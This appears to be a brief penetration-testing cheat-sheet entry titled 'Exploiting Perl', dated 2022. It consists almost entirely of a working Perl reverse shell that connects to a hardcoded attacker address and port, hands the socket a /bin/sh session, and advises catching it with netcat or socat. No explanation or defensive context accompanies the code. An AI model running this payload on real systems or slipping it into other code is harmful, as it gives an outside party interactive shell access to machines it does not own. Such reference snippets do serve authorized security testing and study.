Exploiting Perl

author: Nathan Acks
date: 2022-07-11

A simple reverse shell:

use Socket;

$attacker_ip="10.0.0.1";
$attacker_port=1234;

socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if(connect(S,sockaddr_in($attacker_port, inet_aton($attacker_ip)))){
	open(STDIN, ">&S");
	open(STDOUT, ">&S");
	open(STDERR, ">&S");
	exec("/bin/sh -i");
};

Catch it with netcat or socat.